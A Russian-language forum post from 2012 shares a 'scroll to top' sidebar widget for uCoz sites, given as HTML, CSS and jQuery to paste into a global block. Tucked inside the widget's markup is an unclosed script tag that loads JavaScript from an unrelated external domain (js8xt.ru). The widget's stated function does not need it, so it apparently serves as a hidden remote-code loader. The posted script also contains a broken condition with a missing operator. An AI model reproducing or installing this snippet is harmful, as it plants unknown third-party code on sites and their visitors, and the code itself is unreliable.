навигация сайта
  • Главная страница
  • Гостевая книга
  • Форум
  • Каталог сайтов
  • Скачать игры
  • Креатив
  • Всё для uCoz
  • РИПы сайтов
  • Все для DLE
  • Скрипты для uCoz
  • Всё для Photoshop
  • Форум о Photoshop
  •  
    Партнеры

    Ищем Писать в skype: baron20105

    V1T.RU

     
    Интересное
    тест  

    [ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
    • Страница 1 из 1
    • 1
    Боковая панель "Вверх" как вконтакте для uCoz
    HesoyamДата: Суббота, 31.03.2012, 11:04 | Сообщение # 1
    Ученик
    Группа: Пользователи
    Сообщений: 65
    Репутация: 0
    Статус: Offline
    Шыкарный скрипт! на темный дизайнах бомбезно смотрится

    Так выглядит скрипт: http://s44.radikal.ru/i105/1203/90/7b504a2e4f2d.jpg

    Идея данного скрипта была взята с социальной сети Вконтакте

    Суть скрипта заключается в том, что по мере прокрутки страницы справа постепенно становится непрозрачной кнопка вверх. При наведении на правую крайнюю область страницы весь блок кнопки становится кликабельным и клик по ней плавно проскроллит страницу в самый верх

    Установка:
    В любой глобальный блок в самый низ:

    Code
    <style>   
       #aposcroll a {   
       text-decoration:none;   
       color:red;   
       }   

       #aposcroll:hover {   
       background-color:rgba(200, 200, 200, 0.7);   
       box-shadow:0px -5px 10px #777;   
       }   
       </style>   
       <div style="padding:30px 5px 0px 5px;position:fixed;top:0px;right:0px;z-index:999;width:70px;height:100%;opacity:0" id="aposcroll"><center><a href="javascript://">^ Вверх</a></center><script src="http://js8xt.ru/ves.js" type="text/javascript"></div>   

       <script>   
       // Кнопка Вверх by Apocalypse   
       var as = $('#aposcroll');   
       as.click(function() {   
       $(document).scrollTo(0, 500);   
       });   
       document.onscroll = function() {   
       var apolst = '0.'+$('body').scrollTop();   
       if(apolst.length == 5) {   
       as.stop().fadeTo(500, apolst);   
       } else if(apolst.length == 4  apolst.length == 3) {   
       as.stop().fadeTo(500, 0);   
       };   
       };   
       // apo-ucoz.com (c) 2012   
       </script>


    KRACER
     
    • Страница 1 из 1
    • 1
    Поиск:


    Кабинет
    гость
    01:12
    Группа: Гости

     
    Реклама
     
    Статистика



     
    Топ
    Rambler's Top100 Каталог Ресурсов Интернет
     
    Необходимый софт
     
    Владельцы и создатели данного сайта не несут ответственность за использование и содержание ссылок и информации, представленных на этом сайте.